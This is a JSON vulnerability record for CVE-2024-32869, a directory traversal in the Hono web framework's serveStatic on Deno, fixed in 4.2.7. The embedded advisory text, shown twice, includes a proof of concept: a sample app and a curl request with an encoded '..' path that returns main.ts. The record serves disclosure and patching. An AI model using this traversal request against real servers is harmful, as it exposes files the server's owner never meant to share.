{"id":"CVE-2024-32869","aliases":["CLSA-2026-1790597695","EUVD-2024-1083","GHSA-26pp-8wgv-hjvm","GHSA-3mpf-rcc7-5347"],"status":"published","title":"Hono vulnerable to Restricted Directory Traversal in serveStatic with deno","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00642,"percentile":0.51118,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-04-23T16:20:49Z","modified":"2026-10-28T02:30:58Z","fixes":[{"ecosystem":"npm","package":"hono","fixed_in":["4.2.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.12.12-tuxcare.0"},{"fixed":"3.12.12-tuxcare.2"}]}],"versions":["3.12.12","3.12.12-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"npm","package":"hono","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.2.7"}]}]}],"products":[{"vendor":"hono","product":"hono"},{"vendor":"honojs","product":"hono"}],"references":[{"url":"https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32869","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3mpf-rcc7-5347"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32869.json","tags":["advisory"]},{"url":"https://github.com/honojs/hono","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-32869","title":"Hono vulnerable to Restricted Directory Traversal in serveStatic with deno","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.","status":"published","published":"2024-04-23T20:20:44.908Z","modified":"2024-08-02T02:20:35.658Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:16.007021Z"}],"euvd":[{"id":"EUVD-2024-1083","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.","status":"published","published":"2024-04-23T20:20:44Z","modified":"2024-08-02T02:20:35Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-03T03:50:23.057649Z"}],"ghsa":[{"id":"GHSA-3mpf-rcc7-5347","title":"Hono vulnerable to Restricted Directory Traversal in serveStatic with deno","description":"### Summary\n\nWhen using serveStatic with deno, it is possible to directory traverse where main.ts is located.\n\nMy environment is configured as per this tutorial\nhttps://hono.dev/getting-started/deno\n\n### PoC\n\n```bash\n$ tree\n.\n├── deno.json\n├── deno.lock\n├── main.ts\n├── README.md\n└── static\n    └── a.txt\n```\n\nsource\n\n```jsx\nimport { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'\nimport { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'\n\nconst app = new Hono()\napp.use('/static/*', serveStatic({ root: './' }))\n\nDeno.serve(app.fetch)\n```\n\nrequest\n\n```bash\ncurl localhost:8000/static/%2e%2e/main.ts\n```\n\nresponse is content of main.ts\n\n### Impact\n\nUnexpected files are retrieved.","status":"published","published":"2024-04-23T16:20:49Z","modified":"2024-04-24T14:26:48Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:45.47408Z"}],"nvd":[{"id":"CVE-2024-32869","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.","status":"published","published":"2024-04-23T21:15:48.623Z","modified":"2026-06-17T07:30:35.25Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:09:53.50104Z"}],"osv":[{"id":"CVE-2024-32869","title":"Hono vulnerable to Restricted Directory Traversal in serveStatic with deno","description":"Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.","status":"published","published":"2024-04-23T20:20:44.908Z","modified":"2026-10-28T02:30:58.273085235Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:40.391953Z"},{"id":"GHSA-3mpf-rcc7-5347","title":"Hono vulnerable to Restricted Directory Traversal in serveStatic with deno","description":"### Summary\n\nWhen using serveStatic with deno, it is possible to directory traverse where main.ts is located.\n\nMy environment is configured as per this tutorial\nhttps://hono.dev/getting-started/deno\n\n### PoC\n\n```bash\n$ tree\n.\n├── deno.json\n├── deno.lock\n├── main.ts\n├── README.md\n└── static\n    └── a.txt\n```\n\nsource\n\n```jsx\nimport { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'\nimport { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'\n\nconst app = new Hono()\napp.use('/static/*', serveStatic({ root: './' }))\n\nDeno.serve(app.fetch)\n```\n\nrequest\n\n```bash\ncurl localhost:8000/static/%2e%2e/main.ts\n```\n\nresponse is content of main.ts\n\n### Impact\n\nUnexpected files are retrieved.","status":"published","published":"2024-04-23T16:20:49Z","modified":"2026-09-10T03:50:11.10069644Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"CLSA-2026-1790597695","title":"TuxCare security update for hono (12 CVEs)","description":"TuxCare rebuilt hono to address 12 CVEs. Fixed in 3.12.12-tuxcare.2.","status":"published","published":"2026-09-28T12:14:55Z","modified":"2026-10-15T09:48:03.104113003Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}